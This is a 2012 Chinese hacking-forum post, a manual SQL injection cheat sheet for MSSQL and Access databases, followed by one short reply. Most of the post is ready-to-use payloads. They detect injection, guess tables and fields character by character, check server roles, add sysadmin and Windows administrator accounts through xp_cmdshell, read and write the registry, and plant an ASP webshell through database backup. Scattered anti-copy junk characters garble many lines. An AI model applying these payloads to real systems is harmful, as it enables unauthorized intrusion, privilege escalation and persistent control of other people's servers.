找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2302|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入
% |- r- h$ ]# h) `1.判断是否有注入;and 1=1 ;and 1=2   R: i) x! L7 J; S+ D. z

" O8 v- a! U  t; u2.初步判断是否是mssql ;and user>0 0 n( z+ }/ @9 K* D' {2 D
9 b9 f( c9 B  k# {* N3 o, y
3.注入参数是字符'and [查询条件] and ''=' - ^" ]0 I1 p" D" h/ Q0 r" e: L
8 O) h7 H3 a! {& o/ G
4.搜索时没过滤参数的'and [查询条件] and '%25'='
$ H5 u, n3 j+ q; m' q1 ]3 m( Q
. m! M3 W& J1 a* k+ Y6 W- @5.判断数据库系统
! M1 F: G% @6 Y1 A;and (select count(*) from sysobjects)>0 mssql
* A' H! D. U* t# p9 R;and (select count(*) from msysobjects)>0 access # |3 d2 T' t7 i$ I

0 Z1 n8 p) {2 t4 b6.猜数据库 ;and (select Count(*) from [数据库名])>0
0 w  O' b( H1 E" I
- U3 D3 m' v  d8 v7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ) L! L/ z- n& t% g

, Q( r; M+ Y; t9 M+ m; d5 D" {8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
  L# }/ }$ M6 u1 t
2 f. \7 F& y) C, Y4 @9.(1)猜字段的ascii值(access) 8 l+ h9 Z# q7 i0 s) l" U8 d
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 + }2 _% p  c3 C, e

/ b1 _- {1 @$ w0 C/ K+ d(2)猜字段的ascii值(mssql) 0 G' I" y" c6 g5 p# J
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 / X2 D1 X+ L- y/ z- E; k9 B  D) ]
+ q9 |( G0 K4 T* C$ ?
10.测试权限结构(mssql) 0 e7 c) Y6 Z, r
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
0 |1 `$ p% w% x% V;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- & d; ?1 U# u- l9 x& d  U3 O
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
- [7 c7 U+ J2 I# j- ]  y;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
- @1 M, M9 g4 j;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 0 n# [$ f$ F$ X
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
6 O% e) u, M5 p4 {4 n2 G* _;and 1=(select IS_MEMBER('db_owner'));-- 1 b* M6 o/ }5 x5 F7 {! c$ J

" p8 m2 n% g( ^7 T, Z$ g& \" F0 V11.添加mssql和系统的帐户
5 d) `9 x# h9 h3 J6 i3 J% ~;exec master.dbo.sp_addlogin username;-- 0 `8 {9 g' s* m3 \8 i
4 p0 B3 H+ N0 L+ N' y
;exec master.dbo.sp_password null,username,password;-- ' z/ D4 P) Y; M/ ]# y$ v
9 e- G* V, o5 c# r
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
; [7 Y5 k. |6 u& R- }- c8 s3 K" ~8 R2 Y7 L( A
;exec master.dbo.xp_cmdshell 'net user username password
) ^. }2 \" O" \3 C- f' _/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
! p6 ~: e: j7 g* z0 [$ s8 {$ `
3 N, E4 \8 g, L" p1 x* ^;exec master.dbo.xp_cmdshell 'net user username password /add';--
5 T5 s/ r* X8 S! \' a: k6 W# Z, p5 K( U
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
8 S* F6 h4 {; s8 D% k; b3 \6 I1 H$ n! K  d0 h
12.(1)遍历目录
0 m* h3 \: b$ S9 K5 m5 s* ^- {; G- O5 d+ O" S' f
;create table dirs(paths varchar(100), id int)
& R/ ^, N/ h$ w" x7 r, \& t2 o6 Y;insert dirs exec master.dbo.xp_dirtree 'c:\'
. [( B5 r. a" N3 n7 a;and (select top 1 paths from dirs)>0
; h0 Y$ f# Q4 s" }# S2 F;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) : V* V- b, S6 _0 W2 ^0 o" w$ h

" A  b! a# W5 z& A* \$ Y! J(2)遍历目录
9 g5 U9 i( B. W* f8 V9 c! ~;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- " X9 s. h, T; j/ q
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
% ~5 O0 o7 C; k2 B* j5 R6 r;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 + w' e+ Q5 M( A) u& W- v, E5 o7 V/ R
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
7 I& s& k$ ?0 }* d;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 2 K7 y( M( g# Q! `6 e5 `+ |

# x, J1 k1 j) |1 Y4 r* S13.mssql中的存储过程 3 W9 M2 b9 S5 ^# I% g- K5 s
7 ]- i  d# ^( v) T, p. V: W) G
xp_regenumvalues 注册表根键, 子键 ) s0 G$ O  f2 X2 r/ T! Y; r, h3 j- @
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 0 `8 w. P0 B; @  J2 O
1 X0 W' l: M  w: u$ K) z9 n# ~
xp_regread 根键,子键,键值名
4 l' j8 k0 l) ]* E1 O;exec xp_regread , B, e* d6 {: c* Q: B
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
. Q. d% [! o2 \4 B( |. e6 B& |9 V
5 s* k# I: c: ~  K; B: i+ T! s. X( Zxp_regwrite 根键,子键, 值名, 值类型, 值
" ^, [" o7 n* O! }% N! A值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
, y& O. f; \. X+ t: q;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
1 e5 G' G  b! c  v; E$ z; g, V2 l" q1 g- r0 J4 l6 e
xp_regdeletevalue 根键,子键,值名
" |1 ^* s0 V0 e
( b  t5 h# Z5 _6 k7 D1 X& ?: Q1 cexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
/ O4 R( \# \, K  B$ U
2 p2 O" F' i+ C; Lxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
- `, Z  l( C! H' Z. W
4 H" g, O- Q2 H, V7 Y7 D14.mssql的backup创建webshell
5 ?, b/ X* O8 p  O% t8 K: juse model
6 ^) x1 j6 Z# Y6 s6 z* ncreate table cmd(str image);
; l4 U1 @: N! }% U% }9 Vinsert into cmd(str) values ('');
1 u# M( |9 p  m6 B. ubackup database model to disk='c:\l.asp';
+ c3 Q( ~5 _; j
- ]$ N! h# v: M5 t# u9 K' c15.mssql内置函数 9 y* I. z# _9 X  z9 w) ~
;and (select @@version)>0 获得Windows的版本号
" C5 h; }; J8 C5 W2 A' n( W0 E;and user_name()='dbo' 判断当前系统的连接用户是不是sa
8 a5 q4 I% _% [+ Y;and (select user_name())>0 爆当前系统的连接用户
: w& ?# s3 g% G8 z8 [3 F  `, S% x;and (select db_name())>0 得到当前连接的数据库
, j4 H: k1 H5 O0 n$ |" @( }& A  u: J; N5 o
16.简洁的webshell # X$ E5 b) I' F5 Q3 D- J: [% N1 J
! u. B$ r6 t5 f7 C( Q
use model
( D# W) K8 u: t$ ~" a( [; x# l1 x, z
create table cmd(str image);
) f7 u- s$ C! I4 R# N* R
' \2 S. P6 n: @0 qinsert into cmd(str) values ('');
. ]  c: w0 P! F9 j5 z) X2 g4 Z8 X: l8 b- ~% Z( S
backup database model to disk='g:\wwwtest\l.asp'; ' Y; m! M) a' v& ]+ E

/ }4 m% F! n0 y+ h& o, b2 v6 q
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表